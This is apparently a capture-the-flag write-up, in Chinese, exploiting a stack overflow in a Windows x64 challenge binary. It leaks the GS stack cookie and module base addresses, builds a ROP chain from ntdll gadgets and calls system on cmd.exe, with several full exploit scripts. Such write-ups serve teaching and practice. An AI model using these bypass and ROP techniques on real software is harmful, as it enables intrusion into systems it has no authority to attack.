保护检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Results for: .\StackOverflow.exe Dynamic Base : "Present" ASLR : "Present" High Entropy VA : "Present" Force Integrity : "NotPresent" Isolation : "Present" NX : "Present" SEH : "Present" CFG : "NotPresent" RFG : "NotPresent" SafeSEH : "NotApplicable" GS : "Present" Authenticode : "NotPresent" .NET : "NotPresent"
|
程序分析
一个朴实无华的栈溢出
但是由于开启了 GS
保护,所以我们需要首先进行泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| .text:0000000140001000 ; __unwind { // __GSHandlerCheck .text:0000000140001000 push rbx .text:0000000140001002 sub rsp, 130h .text:0000000140001009 mov rax, cs:__security_cookie .text:0000000140001010 xor rax, rsp .text:0000000140001013 mov [rsp+138h+var_18], rax
[...]
.text:00000001400010B2 mov rcx, [rsp+138h+var_18] .text:00000001400010BA xor rcx, rsp ; StackCookie .text:00000001400010BD call __security_check_cookie .text:00000001400010C2 add rsp, 130h .text:00000001400010C9 pop rbx .text:00000001400010CA retn
|
通过填充 a
,这样在 puts
的时候便会把 StackCookie
给弄出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
r = process("./StackOverflow.exe")
payload = "a" * 0x100
sda("input:\r\n",payload) ru(payload) StackCookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie : {hex(StackCookie)}")
windbgx.attach(r)
r.interactive()
|
经过调试可以发现正确
同时也可以发现后方放着返回地址
那么我们可以继续填充泄露原本的返回地址,进而得到 exe
文件的基地址,然后第三次机会再返回到 main
,实施更多次的栈溢出攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
r = process("./StackOverflow.exe")
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie : {hex(StackCookie)}")
payload = "a" * 0x118 sda("input:\r\n",payload) ru(payload) elf_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x12F4 print(f"[+] elf_base : {hex(elf_base)}")
main_addr = elf_base + 0x1000 print(f"[+] main_addr : {hex(main_addr)}")
payload = "a" * 0x100 payload += p64(StackCookie) payload += "b" * 0x10 payload += p64(main_addr) sda("input:\r\n",payload)
r.interactive()
|
接下来我们要进行的是 rop
。Linux
执行 rop
,有两个关键点合适的 gadget
和准确的库函数地址,这两点在 Linux
下都可以通过 glibc
来泄露寻找。但是对于 windows
则需要分开寻找。
ntdll.dll
是Windows
系统从ring3
到ring0
的入口。位于Kernel32.dll
和user32.dll
中的所有win32 API
最终都是调用ntdll.dll
中的函数实现的。ntdll.dll
中的函数使用SYSENTRY
进入ring0
,函数的实现实体在 ring0
中。所以如果这个函数是每个程序启动基本都会调用的,可以考虑从中寻找我们需要的 gadget
。
然后是寻找库函数地址, ucrtbased.dll
这个库是 VC
程序执行必须要有的库,里面放入了很多 VC
程序的 API
调用接口,类似于 Glibc.so
。所以可以考虑从 ucrtbased.dll
寻找需要调用的 函数地址。
但是,windows
的传参方式和函数调用都与 Linux
有一些差别。
Windows
64位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9
。其次函数调用 也不能直接指向 函数实现的入口地址,又因为 windows
下没有 plt
表,所以调用程序内的函数,要指向 call func
的地址,例如要调用 puts
函数,需要使用如下 gadget
:
Windows 64
位下 参数也通过寄存器传递,依次通过 rcx\ rdx\ r8\ r9
。其次函数调用也不能直接指向函数实现的入口地址,又因为 windows
下没有 plt
表,所以调用程序内的函数,要指向 call func
的地址,例如要调用 puts
函数,需要使用如下 gadget
:
1
| .text:00000001400010A6 call cs:puts
|
所以,我们想要实现库函数调用,也不可以直接指向库函数地址,而是要找到此类地址:
1
| .text:00000000000ABBA0 jmp common_system_char_
|
这就需要我们泄露 ntdll.dll
和 ucrtbased.dll
的基址。
在执行 main
函数之前会先调用 ntdll.dll
,所以在 main
函数的栈帧的高位会存储 ntdll.dll
的地址。通过溢出泄露该 ntdll.dll
地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload = "a" * 0x100 payload += p64(StackCookie) payload += "b" * 0x10 payload += p64(main_addr) sda("input:\r\n",payload)
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie1 = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie1 : {hex(StackCookie1)}")
payload = "a" * 0x180 sda("input:\r\n",payload) ru(payload) ntdll_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x52651 print(f"[+] ntdll_base : {hex(ntdll_base)}")
|
这里需要注意由于栈变化了所以要再次泄露 StackCookie
然后我们使用 ropper
来寻找 gadgets
1
| ropper --file ./ntdll.dll --nocolor > gadget
|
然后我们通过 p_rcx_r
和 p_rbx_r
来进行 rop
,其中的 puts_addr
选用的是 main
函数中的 puts
,同时通过控制 rbx
来让循环继续
这样也方便直接控制程序流继续进行溢出
但是由于 rsp
的值不对了,所以说我们需要泄露 security_cookie
和栈地址来重新计算 StackCookie
,要不然之后会出错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload = "a" * 0x100 payload += p64(StackCookie1) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(security_cookie_addr) payload += p64(p_rbx_r) payload += p64(2) payload += p64(puts_addr)
sda("input:\r\n",payload) ru(payload) security_cookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] security_cookie : {hex(security_cookie)}")
ori_rsp_addr = security_cookie ^ StackCookie1 now_rsp_addr = ori_rsp_addr + 0x160 print(f"[+] ori_rsp_addr : {hex(ori_rsp_addr)}")
|
在得到了 ori_rsp_addr
后可以计算出 now_rsp_addr
并进行接下来的 rop
,那么我们继续泄露 ucrtbase.dll
的基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| read_got = elf_base + 0x2178
payload = "a" * 0x100 payload += p64(now_rsp_addr ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(read_got) payload += p64(p_rbx_r) payload += p64(1) payload += p64(puts_addr) sda("input:\r\n",payload)
ru("\r\n") ru("\r\n") ucrtbase_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x182a0 print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")
|
最后执行 system("./cmd.exe")
即可
1 2 3 4 5 6 7 8 9 10 11
| system_addr = ucrtbase_base + 0xAE5C0 cmd_addr = ucrtbase_base + 0xD0CB0 now_rsp_addr2 = now_rsp_addr + 0x160
payload = "a" * 0x100 payload += p64(now_rsp_addr2 ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(cmd_addr) payload += p64(system_addr) sda("input:\r\n",payload)
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| from winpwn import * context.log_level = "debug"
def rc(num): return r.recv(num)
def ru(prefix,drop = True): data = r.recvuntil(prefix) if drop: return data[:-len(prefix)] else: return data def sd(content): r.send(content)
def sl(content): r.sendline(content)
def sda(prefix,content): ru(prefix) sd(content)
def sla(prefix,content): ru(prefix) sl(content)
r = process("./StackOverflow.exe")
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie : {hex(StackCookie)}")
payload = "a" * 0x118 sda("input:\r\n",payload) ru(payload) elf_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x12F4 print(f"[+] elf_base : {hex(elf_base)}")
main_addr = elf_base + 0x1000 print(f"[+] main_addr : {hex(main_addr)}")
payload = "a" * 0x100 payload += p64(StackCookie) payload += "b" * 0x10 payload += p64(main_addr) sda("input:\r\n",payload)
payload = "a" * 0x100 sda("input:\r\n",payload) ru(payload) StackCookie1 = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] StackCookie1 : {hex(StackCookie1)}")
payload = "a" * 0x180 sda("input:\r\n",payload) ru(payload) ntdll_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x52651 print(f"[+] ntdll_base : {hex(ntdll_base)}")
puts_addr = elf_base + 0x10a6 security_cookie_addr = elf_base + 0x3008 p_rcx_r = ntdll_base + 0x1a853 p_rbx_r = ntdll_base + 0x137d
payload = "a" * 0x100 payload += p64(StackCookie1) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(security_cookie_addr) payload += p64(p_rbx_r) payload += p64(1) payload += p64(puts_addr)
sda("input:\r\n",payload) ru("\r\n") ru("\r\n") security_cookie = u64(ru("\r\n").ljust(8,u"\x00")) print(f"[+] security_cookie : {hex(security_cookie)}")
ori_rsp_addr = security_cookie ^ StackCookie1 now_rsp_addr = ori_rsp_addr + 0x160 print(f"[+] ori_rsp_addr : {hex(ori_rsp_addr)}") print(f"[+] now_rsp_addr : {hex(now_rsp_addr)}")
read_got = elf_base + 0x2178
payload = "a" * 0x100 payload += p64(now_rsp_addr ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(read_got) payload += p64(p_rbx_r) payload += p64(1) payload += p64(puts_addr) sda("input:\r\n",payload)
ru("\r\n") ru("\r\n") ucrtbase_base = u64(ru("\r\n").ljust(8,u"\x00")) - 0x182a0 print(f"[+] ucrtbase_base : {hex(ucrtbase_base)}")
system_addr = ucrtbase_base + 0xAE5C0 cmd_addr = ucrtbase_base + 0xD0CB0 now_rsp_addr2 = now_rsp_addr + 0x160
payload = "a" * 0x100 payload += p64(now_rsp_addr2 ^ security_cookie) payload += "b" * 0x10 payload += p64(p_rcx_r) payload += p64(cmd_addr) payload += p64(system_addr) sda("input:\r\n",payload)
r.interactive()
|